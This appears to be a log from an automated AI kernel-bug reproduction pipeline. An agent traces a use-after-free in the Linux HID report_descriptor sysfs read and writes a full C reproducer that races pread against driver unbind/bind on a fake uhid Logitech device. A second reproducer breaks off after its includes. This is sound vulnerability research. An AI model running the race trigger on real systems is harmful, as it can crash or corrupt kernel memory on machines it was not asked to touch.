drivers/hid/hid-plantronics.c=237=static struct hid_driver plantronics_driver = {
--
drivers/hid/hid-plantronics.c-244-};
drivers/hid/hid-plantronics.c:245:module_hid_driver(plantronics_driver);
drivers/hid/hid-plantronics.c-246-
--
drivers/hid/hid-primax.c=65=static struct hid_driver px_driver = {
--
drivers/hid/hid-primax.c-69-};
drivers/hid/hid-primax.c:70:module_hid_driver(px_driver);
drivers/hid/hid-primax.c-71-
--
drivers/hid/hid-prodikeys.c=858=static struct hid_driver pk_driver = {
--
drivers/hid/hid-prodikeys.c-866-};
drivers/hid/hid-prodikeys.c:867:module_hid_driver(pk_driver);
drivers/hid/hid-prodikeys.c-868-
--
drivers/hid/hid-pxrc.c=101=static struct hid_driver pxrc_driver = {
--
drivers/hid/hid-pxrc.c-107-};
drivers/hid/hid-pxrc.c:108:module_hid_driver(pxrc_driver);
drivers/hid/hid-pxrc.c-109-
--
drivers/hid/hid-rapoo.c=89=static struct hid_driver rapoo_driver = {
--
drivers/hid/hid-rapoo.c-95-
drivers/hid/hid-rapoo.c:96:module_hid_driver(rapoo_driver);
drivers/hid/hid-rapoo.c-97-
--
drivers/hid/hid-razer.c=116=static struct hid_driver razer_driver = {
--
drivers/hid/hid-razer.c-121-};
drivers/hid/hid-razer.c:122:module_hid_driver(razer_driver);
drivers/hid/hid-razer.c-123-
--
drivers/hid/hid-redragon.c=54=static struct hid_driver redragon_driver = {
--
drivers/hid/hid-redragon.c-59-
drivers/hid/hid-redragon.c:60:module_hid_driver(redragon_driver);
drivers/hid/hid-redragon.c-61-
--
drivers/hid/hid-retrode.c=88=static struct hid_driver retrode_driver = {
--
drivers/hid/hid-retrode.c-94-
drivers/hid/hid-retrode.c:95:module_hid_driver(retrode_driver);
drivers/hid/hid-retrode.c-96-
--
drivers/hid/hid-rmi.c=765=static struct hid_driver rmi_driver = {
--
drivers/hid/hid-rmi.c-779-
drivers/hid/hid-rmi.c:780:module_hid_driver(rmi_driver);
drivers/hid/hid-rmi.c-781-
--
drivers/hid/hid-roccat-lua.c=205=static struct hid_driver lua_driver = {
--
]
]
|
| 45/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 81270
output: 21
thoughts: 2394
Thoughts: **UAF in hid-lg: A Detailed Analysis**
Okay, so here's the breakdown of what I've got so far. The driver name for `hid-lg` is definitely `logitech`, I can confirm that from the code. So, using `/sys/bus/hid/drivers/logitech/bind` and `unbind` is the correct approach.
Now, to craft the reproducer. First, a `uhid` device, vendor ID `0x046d`, product ID `0xc293`, report size `85`. Then, wait for the device to pop up in the `/sys/bus/hid/devices/` directory, something like `0003:046D:C293.*`. Next, open the device's `report_descriptor` file for reading, and start a thread to continuously `pread` from it with a buffer of 85 bytes. Concurrently, another thread will be cycling between unbinding and binding the `logitech` driver to the device.
But hang on. Unbinding and binding the *driver* won't change the sysfs file. The sysfs file is attached to the *device*, not the driver. And `report_descriptor` is a device attribute. It is created when the device is added to the bus and removed when the device is removed from the bus. Binding and unbinding the driver does *not* remove the device from the bus. So, the sysfs file stays open and valid throughout the process.
Now, when we unbind the driver, `hid_device_remove` is called, and that is where the vulnerability lies. Specifically, `hid_close_report` within `hid_device_remove` frees `hdev->rdesc` and sets `hdev->rsize = 0`. So, if the `pread` thread reads the `rsize` value (which is 85 before `hid_close_report`), then `hid_close_report` frees the allocated `rdesc` buffer, and the `pread` thread calls `memcpy` on a freed buffer, leading to a classic Use-After-Free (UAF) situation.
Let's refine the `uhid` device creation to maximize the exploitability. We're going to use the `uhid_event` structure, set the name, and specify a report descriptor size of 85. The goal is to trigger the `lg_report_fixup` logic. The important part is that the content of the `rd_data` is irrelevant; we can fill it with zeroes.
Now the interesting thing is `hid-lg`'s `lg_report_fixup`. It checks if `*rsize` equals `FFG_RDESC_ORIG_SIZE`, which is 85, but it doesn't check the content of the `report_descriptor` data. If the size is correct, it will return the static `ffg_rdesc_fixed` array, and this is what we want. This is then used in `hid_open_report`, which uses `kmemdup` to allocate a buffer for the static `ffg_rdesc_fixed` array. And this dynamically allocated buffer will be freed by `hid_close_report`. That is perfect! We have exactly what we need for the race condition: dynamically allocated memory that is freed while concurrently accessed.
Let's nail down the sysfs path. I'll search `/sys/bus/hid/devices` for the device ID we've created (0003:046D:C293), and then open the device's `report_descriptor`. Also, I'll need to open the `bind` and `unbind` files for the `logitech` driver.
We must also handle the case where `hid-lg` might not be loaded initially. So, we'll try to load it by waiting a bit for the device to appear. The `uhid` creation usually triggers udev, which should load the module.
Finally, the race condition. I will create two threads: One thread will repeatedly `pread` from the `report_descriptor`. The second thread will repeatedly unbind and bind the `logitech` driver. We need to remember that `pread` reads `rsize` bytes. However, `rsize` will be changed to `sizeof(ffg_rdesc_fixed)` in `lg_report_fixup`. Let's check `sizeof(ffg_rdesc_fixed)`. This must be a part of the final exploit!
|
| 46/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:ffg_rdesc_fixed]
Results: map[Output:drivers/hid/hid-lg.c=288=static const __u8 momo2_rdesc_fixed[] = {
--
drivers/hid/hid-lg.c-335-
drivers/hid/hid-lg.c:336:static const __u8 ffg_rdesc_fixed[] = {
drivers/hid/hid-lg.c-337-0x05, 0x01, /* Usage Page (Desktop), */
--
drivers/hid/hid-lg.c=430=static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
--
drivers/hid/hid-lg.c-468- "fixing up Logitech Wingman Formula Force GP report descriptor\n");
drivers/hid/hid-lg.c:469: *rsize = sizeof(ffg_rdesc_fixed);
drivers/hid/hid-lg.c:470: return ffg_rdesc_fixed;
drivers/hid/hid-lg.c-471- }
]
|
| 47/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 84939
output: 39
thoughts: 3656
Thoughts: **Analyzing the Report Descriptor UAF Vulnerability**
Okay, so I've got this crash that looks like a use-after-free in the HID subsystem, specifically when reading the report descriptor. The plan is to trigger a race condition where `pread` is accessing freed memory. Initially, the idea was to rapidly allocate and free the `rdesc` with a loop of `bind` and `unbind`. Then `pread` constantly reads `rsize`, which is e.g. 100, and then `unbind` frees `rdesc` and `pread` calls `memcpy(buf, rdesc, 100)`. This should trigger a KASAN UAF read.
First, I checked the code for any locks protecting `report_descriptor_read`. No locks, the `memcpy` is directly accessing `hdev->rsize` and `hdev->rdesc`. The race is wide open! `bind` and `unbind` seem like a good approach here. However, I want to consider other methods, like `UHID_DESTROY` and `UHID_CREATE2`. With these, destroying the device removes the sysfs file. But if `pread` is inside `report_descriptor_read`, it's holding a reference to the `kobject`, so `hdev` isn't freed. But `hid_device_release` does free the `hdev` struct. But if we destroy the device, `hid_device_remove` is also called. This calls `hid_close_report`, which frees `hdev->rdesc`, but *not* `hdev`.
`hid_device_remove` is called when the device is removed from the bus, which calls `device_release_driver` then `hid_device_remove`. The key is that `hid_close_report` is called *before* `hdev` is freed. This seems like the perfect race condition. The approach of `bind` and `unbind` is cleaner because the sysfs file stays around, making the race tighter and easier to hit with `pread`. However, I need to know the driver name, which appears to be `logitech` for the given device ID. I'm assuming that it is going to be loaded, but `uhid` creation might trigger `udev` to load it.
So, I'm writing C code to exploit this. I'll create a UHID device, find the corresponding HID device in the system, and then create threads to continuously `pread` the report descriptor and `bind` and `unbind` the `logitech` driver.
I need to confirm the exploit won't be foiled by the driver not being loaded, or not having a `report_fixup`.
Now, what if `hid-logitech` *isn't* loaded, and the device is bound to `hid-generic`? Then `report_fixup` isn't called, and `rdesc` points to `bpf_rdesc` or `dev_rdesc`, which isn't freed by `hid_close_report` and the UAF will be avoided. So, the exploit would need `hid-logitech` loaded.
Can I force `hid-logitech` to be loaded? Sure, `system("modprobe hid-logitech");`, but I'm trying to reproduce a `syzkaller` scenario and not relying on that. I'm hoping that `uhid` creation triggers `udev` and loads the module. Are there any other drivers with `report_fixup` that might work?
What about using `hid_bpf`? If I attach a BPF program, then `bpf_rdesc` is allocated. However, `hid_close_report` explicitly checks `device->rdesc != device->bpf_rdesc`, so it wouldn't be freed. `hid_free_bpf_rdesc` is called in `hiddev_free` and `__hid_device_probe`, and importantly, `hid_device_remove` calls `hid_close_report`, but *not* `hid_free_bpf_rdesc`!
If I destroy the device (`UHID_DESTROY`), then `hid_remove_device` calls `hid_free_bpf_rdesc`. So it looks like `bpf_rdesc` is *not* freed on `unbind` but *is* freed with `UHID_DESTROY` by calling `hid_remove_device`.
If `pread` is running, does that block the file removal and prevent the race? `device_del` removes the files, but it looks like active readers can continue. `kernfs_file_read_iter` gets `of->mutex`, and then calls `kernfs_get_active_of(of
|
| 48/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/core.c IncludeLines:true Name:device_del]
Results: map[SourceCode:3836: /**
3837: * device_del - delete device from system.
3838: * @dev: device.
3839: *
3840: * This is the first part of the device unregistration
3841: * sequence. This removes the device from the lists we control
3842: * from here, has it removed from the other driver model
3843: * subsystems it was added to in device_add(), and removes it
3844: * from the kobject hierarchy.
3845: *
3846: * NOTE: this should be called manually _iff_ device_add() was
3847: * also called manually.
3848: */
3849: void device_del(struct device *dev)
3850: {
3851: struct subsys_private *sp;
3852: struct device *parent = dev->parent;
3853: struct kobject *glue_dir = NULL;
3854: struct class_interface *class_intf;
3855: unsigned int noio_flag;
3856:
3857: device_lock(dev);
3858: kill_device(dev);
3859: device_unlock(dev);
3860:
3861: if (dev->fwnode && dev->fwnode->dev == dev)
3862: dev->fwnode->dev = NULL;
3863:
3864: /* Notify clients of device removal. This call must come
3865: * before dpm_sysfs_remove().
3866: */
3867: noio_flag = memalloc_noio_save();
3868: bus_notify(dev, BUS_NOTIFY_DEL_DEVICE);
3869:
3870: dpm_sysfs_remove(dev);
3871: if (parent)
3872: klist_del(&dev->p->knode_parent);
3873: if (MAJOR(dev->devt)) {
3874: devtmpfs_delete_node(dev);
3875: device_remove_sys_dev_entry(dev);
3876: device_remove_file(dev, &dev_attr_dev);
3877: }
3878:
3879: sp = class_to_subsys(dev->class);
3880: if (sp) {
3881: device_remove_class_symlinks(dev);
3882:
3883: mutex_lock(&sp->mutex);
3884: /* notify any interfaces that the device is now gone */
3885: list_for_each_entry(class_intf, &sp->interfaces, node)
3886: if (class_intf->remove_dev)
3887: class_intf->remove_dev(dev);
3888: /* remove the device from the class list */
3889: klist_del(&dev->p->knode_class);
3890: mutex_unlock(&sp->mutex);
3891: subsys_put(sp);
3892: }
3893: device_remove_file(dev, &dev_attr_uevent);
3894: device_remove_attrs(dev);
3895: bus_remove_device(dev);
3896: device_pm_remove(dev);
3897: driver_deferred_probe_del(dev);
3898: device_platform_notify_remove(dev);
3899: device_links_purge(dev);
3900:
3901: /*
3902: * If a device does not have a driver attached, we need to clean
3903: * up any managed resources. We do this in device_release(), but
3904: * it's never called (and we leak the device) if a managed
3905: * resource holds a reference to the device. So release all
3906: * managed resources here, like we do in driver_detach(). We
3907: * still need to do so again in device_release() in case someone
3908: * adds a new resource after this point, though.
3909: */
3910: devres_release_all(dev);
3911:
3912: bus_notify(dev, BUS_NOTIFY_REMOVED_DEVICE);
3913: kobject_uevent(&dev->kobj, KOBJ_REMOVE);
3914: glue_dir = get_glue_dir(dev);
3915: kobject_del(&dev->kobj);
3916: cleanup_glue_dir(dev, glue_dir);
3917: memalloc_noio_restore(noio_flag);
3918: put_device(parent);
3919: }
SourceFile:drivers/base/core.c]
|
| 49/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 90995
output: 41
thoughts: 282
Thoughts: **My Analysis of the HID UAF Bug**
Okay, let me break this down. In the `device_del` function, the code first calls `device_remove_attrs(dev)` before calling `bus_remove_device(dev)`. `device_remove_attrs` is responsible for cleaning up the sysfs attributes, and crucially, it waits for any outstanding readers to finish. Then, `bus_remove_device` kicks in, which calls `device_release_driver`, which in turn calls `hid_device_remove`. Now, `hid_device_remove` is where we find `hid_close_report`.
So, when we trigger `UHID_DESTROY`, it calls `device_del`. The critical point here is that the sysfs file is *removed* first, and the process waits for any ongoing `report_descriptor_read` operations to complete. Following that, `hid_device_remove` is called, and this is where `rdesc` gets freed. Based on this sequence, it *seems* like `report_descriptor_read` *should not* be able to race with `hid_device_remove` during `device_del`. The locking should be sufficient.
But wait, we're dealing with a UAF, so clearly something is wrong. I missed something. Ah, I see it! The `report_descriptor` isn't attached through `device_add_attrs`! It's added through `hid_dev_groups`, which is part of `hid_bus_type.dev_groups`. That's the crucial distinction. I need to look at when *those* `dev_groups` are removed. Let me see... `device_remove_attrs` removes `dev->groups`. But what about the `bus->dev_groups`? I need to check `device_remove_attrs` more closely, or elsewhere. This is the likely point of attack.
|
| 50/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/core.c IncludeLines:true Name:device_remove_attrs]
Results: map[SourceCode:2961: static void device_remove_attrs(struct device *dev)
2962: {
2963: const struct class *class = dev->class;
2964: const struct device_type *type = dev->type;
2965:
2966: if (dev->physical_location) {
2967: device_remove_group(dev, &dev_attr_physical_location_group);
2968: kfree(dev->physical_location);
2969: }
2970:
2971: device_remove_file(dev, &dev_attr_removable);
2972: device_remove_file(dev, &dev_attr_waiting_for_supplier);
2973: device_remove_file(dev, &dev_attr_online);
2974: device_remove_groups(dev, dev->groups);
2975:
2976: if (type)
2977: device_remove_groups(dev, type->groups);
2978:
2979: if (class)
2980: device_remove_groups(dev, class->dev_groups);
2981: }
SourceFile:drivers/base/core.c]
|
| 51/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 92076
output: 41
thoughts: 44
Thoughts: **A Moment of Doubt & a Quick Diagnostic**
Hold on a second... I was under the impression that `device_remove_attrs` handled everything related to device attributes. But it looks like, in this specific context, it *doesn't* remove `bus->dev_groups`. That's unexpected and requires immediate clarification. Where *is* that memory freed? I need to track down the responsible function. Let me see... I'm going to jump right into examining `bus_remove_device`. That seems like the most logical place to start digging for the logic.
|
| 52/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/bus.c IncludeLines:true Name:bus_remove_device]
Results: map[SourceCode: 623: /**
624: * bus_remove_device - remove device from bus
625: * @dev: device to be removed
626: *
627: * - Remove device from all interfaces.
628: * - Remove symlink from bus' directory.
629: * - Delete device from bus's list.
630: * - Detach from its driver.
631: * - Drop reference taken in bus_add_device().
632: */
633: void bus_remove_device(struct device *dev)
634: {
635: struct subsys_private *sp = bus_to_subsys(dev->bus);
636: struct subsys_interface *sif;
637:
638: if (!sp)
639: return;
640:
641: mutex_lock(&sp->mutex);
642: list_for_each_entry(sif, &sp->interfaces, node)
643: if (sif->remove_dev)
644: sif->remove_dev(dev, sif);
645: mutex_unlock(&sp->mutex);
646:
647: sysfs_remove_link(&dev->kobj, "subsystem");
648: sysfs_remove_link(&sp->devices_kset->kobj, dev_name(dev));
649: if (dev->bus->driver_override)
650: device_remove_group(dev, &driver_override_dev_group);
651: device_remove_groups(dev, dev->bus->dev_groups);
652: if (klist_node_attached(&dev->p->knode_bus))
653: klist_del(&dev->p->knode_bus);
654:
655: pr_debug("bus: '%s': remove device %s\n",
656: dev->bus->name, dev_name(dev));
657: device_release_driver(dev);
658:
659: /*
660: * Decrement the reference count twice, once for the bus_to_subsys()
661: * call in the start of this function, and the second one from the
662: * reference increment in bus_add_device()
663: */
664: subsys_put(sp);
665: subsys_put(sp);
666: }
SourceFile:drivers/base/bus.c]
|
| 53/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 93001
output: 39
thoughts: 156
Thoughts: **Debugging a Subtle Race Condition**
Okay, so I'm digging into this `bus_remove_device` function and the first thing that jumps out is the order of operations. It calls `device_remove_groups(dev, dev->bus->dev_groups)` *before* calling `device_release_driver(dev)`. That's important because `device_remove_groups` is going to remove those sysfs files and, critically, it blocks until any active readers are finished with them. Now, *then* `device_release_driver` is called, and that's where the `hid_device_remove` function gets invoked, and ultimately that function frees up the `rdesc`. So, as I see it, the `report_descriptor_read` function still shouldn't be able to race with `hid_device_remove` during `device_del`. I mean, based on that order, it should be protected, right?
But the UAF *did* happen, so there's got to be another explanation. I'm missing something here. Wait a minute... what if `device_release_driver` is triggered *from* the `unbind` sysfs file? That could be a totally different scenario! Let me double check that `unbind` sysfs file and see what's happening there. That's the likely spot for the race, not during device removal.
|
| 54/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/base/bus.c IncludeLines:true Name:driver_unbind]
Results: map[SourceCode: SourceFile:]
|
| 55/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 93515
output: 39
thoughts: 19
Thoughts: Here's my summary, as though I'm thinking through this process:
**Diving into the `unbind_store` Function**
Okay, time to get to the heart of the matter. I need to understand what's happening with this unbinding process, so I'm heading straight for the `unbind_store` function. The most logical place to start is `drivers/base/bus.c` – that's where I'd expect to find the core bus management logic. I'm going to carefully review the code in that function and see how it handles the unbinding operations. I'll pay close attention to any resource management or error handling to ensure I understand the complete picture of the unbinding procedure. I need to know how it interacts with devices, drivers, and the broader system. Let's get to it.
|
| 56/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/bus.c IncludeLines:true Name:unbind_store]
Results: map[SourceCode: 234: /* Manually detach a device from its associated driver. */
235: static ssize_t unbind_store(struct device_driver *drv, const char *buf,
236: size_t count)
237: {
238: const struct bus_type *bus = bus_get(drv->bus);
239: struct device *dev;
240: int err = -ENODEV;
241:
242: dev = bus_find_device_by_name(bus, NULL, buf);
243: if (dev && dev->driver == drv) {
244: device_driver_detach(dev);
245: err = count;
246: }
247: put_device(dev);
248: bus_put(bus);
249: return err;
250: }
SourceFile:drivers/base/bus.c]
|
| 57/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 94027
output: 43
thoughts: 17
Thoughts: Here's a summary of my immediate thought process:
**Dissecting the Driver Detachment Process**
Okay, so I'm looking at `device_driver_detach`. My brain immediately jumps to the implication: this is the function responsible for cleanly removing a driver from a device. My knowledge of device driver architectures tells me that detachment is a critical operation; it has to be robust and prevent resource leaks. The line itself doesn't tell me the full story, so I need to understand what's *happening* within `device_driver_detach`.
It looks like the key call within this `device_driver_detach` function is `device_release_driver_internal`. My expert intuition tells me that this internal call is the *heart* of the detachment procedure. It’s likely the function that handles the nitty-gritty details of freeing device-specific resources, unregistering the driver from the device, and potentially even notifying other parts of the system about the driver's departure. I'd need to dive into `device_release_driver_internal` to understand the exact mechanics of resource cleanup, mutex releases, interrupt de-registration, and any other crucial steps involved in making sure this driver is completely and safely detached. I need to understand what 'internal' means in this context – what other context is necessary before this step can occur? I'll probably start there.
|
| 58/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/dd.c IncludeLines:true Name:device_release_driver_internal]
Results: map[SourceCode:1368: void device_release_driver_internal(struct device *dev,
1369: const struct device_driver *drv,
1370: struct device *parent)
1371: {
1372: __device_driver_lock(dev, parent);
1373:
1374: if (!drv || drv == dev->driver)
1375: __device_release_driver(dev, parent);
1376:
1377: __device_driver_unlock(dev, parent);
1378: }
SourceFile:drivers/base/dd.c]
|
| 59/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 94561
output: 42
thoughts: 15
Thoughts: Here's my understanding of the thought process, from my expert perspective:
**Kernel Driver Removal Sequence**
Okay, so we're looking at the driver removal sequence, specifically focusing on `__device_release_driver`. Right, so this is the function that handles releasing the driver from a device, likely as part of a clean shutdown or device detachment. The critical link here is that `__device_release_driver` then calls `device_remove`. This is the core action: the actual *removal* of the device from the system's device tree or management structures. So `__device_release_driver` is essentially a wrapper function that orchestrates the proper steps for freeing the driver and resources, and the meat of the operation – the removal from the kernel's perspective – is handled directly by `device_remove`. This implies there are probably cleanup steps within `__device_release_driver` before the device is actually taken down via `device_remove`. I need to look into `device_remove` to see what those cleanups entail and make sure they are correct and robust for the particular device class. That's the real crucial thing here; making sure the resources are cleaned up properly so there aren't any leaks or issues when we remove the device. This is the sequence of events.
|
| 60/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/base/dd.c IncludeLines:true Name:__device_release_driver]
Results: map[SourceCode:1317: /*
1318: * __device_release_driver() must be called with @dev lock held.
1319: * When called for a USB interface, @dev->parent lock must be held as well.
1320: */
1321: static void __device_release_driver(struct device *dev, struct device *parent)
1322: {
1323: struct device_driver *drv;
1324:
1325: drv = dev->driver;
1326: if (drv) {
1327: pm_runtime_get_sync(dev);
1328:
1329: while (device_links_busy(dev)) {
1330: __device_driver_unlock(dev, parent);
1331:
1332: device_links_unbind_consumers(dev);
1333:
1334: __device_driver_lock(dev, parent);
1335: /*
1336: * A concurrent invocation of the same function might
1337: * have released the driver successfully while this one
1338: * was waiting, so check for that.
1339: */
1340: if (dev->driver != drv) {
1341: pm_runtime_put(dev);
1342: return;
1343: }
1344: }
1345:
1346: driver_sysfs_remove(dev);
1347:
1348: bus_notify(dev, BUS_NOTIFY_UNBIND_DRIVER);
1349:
1350: pm_runtime_put_sync(dev);
1351:
1352: device_remove(dev);
1353:
1354: if (dev->bus && dev->bus->dma_cleanup)
1355: dev->bus->dma_cleanup(dev);
1356:
1357: device_unbind_cleanup(dev);
1358: device_links_driver_cleanup(dev);
1359:
1360: klist_remove(&dev->p->knode_driver);
1361: device_pm_check_callbacks(dev);
1362:
1363: bus_notify(dev, BUS_NOTIFY_UNBOUND_DRIVER);
1364: kobject_uevent(&dev->kobj, KOBJ_UNBIND);
1365: }
1366: }
SourceFile:drivers/base/dd.c]
|
| 61/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 95596
output: 1803
thoughts: 5331
Thoughts: **Use-After-Free Vulnerability in HID Drivers: A Detailed Analysis and Reproducer**
Okay, so the `device_remove` function calls `hid_device_remove` through the `dev->bus->remove` call, and the crucial point here is that `__device_release_driver` *doesn't* remove the `dev->bus->dev_groups`. It only removes the `driver` symlink. This leaves the `report_descriptor` sysfs file intact *even* when the driver is unbound, and then when `hid_device_remove` is invoked, it *does* free `rdesc`. This suggests that the sysfs `unbind` mechanism is the key to triggering a use-after-free (UAF) condition.
Let's think carefully. Can `hid_device_remove` be triggered without the actual removal of the device? Yes, the `unbind` sysfs file provides exactly that possibility. The syzkaller report points to the initial probe sequence which allocates the memory we're interested in. Also, the free trace indicates a page free, not a slab free. But, a *slab free* can be overwritten.
How is `hid_close_report` actually called? It gets called from `hid_device_remove`, `hiddev_free`, and also `__hid_device_probe`, specifically if the probe fails *after* `hid_open_report` has been called. Critically, if `__hid_device_probe` fails, the driver is *not* bound. The `report_descriptor` is created before the probing, so if we can read the `report_descriptor` *while* `__hid_device_probe` is running, *and* the probe then fails, bingo. We have a UAF scenario.
So what might cause the probe to fail? Looking at `lg_probe`, which calls `hid_parse`, we can see the `lg4ff_init` function. If *that* fails, we end up in `err_free`, and `hid_close_report` gets called. But, we have a much easier attack vector via `unbind` controlled from userspace. Write to `bind` and `unbind` sysfs files.
Alright, time to write a reproducer. Use `uhid` to create a device that matches the `hid-lg` driver (Logitech), and then play with the `bind` and `unbind` sysfs files to trigger the race. Syzkaller runs as root, so we don't need to worry about privileges.
Okay, let's confirm the `hid-lg` driver. If the `logitech` driver isn't loaded, we can trigger `modprobe hid-logitech`. But Syzkaller will almost always load it up. Now, a key point: does any *other* driver also have the crucial `report_fixup` function? `hid-apple` does. The `report_fixup` function causes `hid_open_report` to allocate a new `rdesc` buffer using `kmemdup()`. So, *any* driver with a report fixup is potentially vulnerable. That makes this even more interesting. `hid-apple` is a very common one.
Now, let's check the `apple_report_fixup` function. It just returns `rdesc`. So, `hid_open_report` will `kmemdup` it, and `hid_close_report` will free it, just what we need.
I think using `hid-apple` as the driver (with vendor ID 0x05ac and product ID 0x0220) will be a solid choice. We'll use the driver name "apple" when interacting with the sysfs files.
Let's go back and use the bug report as the guide.
Here's the finalized reproducer strategy:
1. Use uhid to create a virtual HID device with vendor ID 0x046d and product ID 0xc293, matching the Logitech wingman ffg device.
2. The report descriptor will be allocated via `kmemdup()`.
3. Expose this memory buffer through a `report_descriptor` sysfs attribute accessible to userspace.
4. Unbind the driver, which will call `hid_device_remove()` and then `hid_close_report()` which frees `hdev->rdesc`.
5. Race a thread continuously reading this report descriptor, and another continuously unbinding and binding the driver through the sysfs files.
The reproducer will open `/dev/uhid`, create a device, find the correct device node, open `report_descriptor`, open `bind` and `unbind`, create two threads - one reading, the other
|
| 62/1 |
2026/05/19 10:07 |
loop |
|
16m
|
| 63/2 |
2026/05/19 10:07 |
iteration |
0 |
3m
|
| 64/3 |
2026/05/19 10:07 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```]
|
| 65/3 |
2026/05/19 10:07 |
agent |
repro-generator |
0m
Model:
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
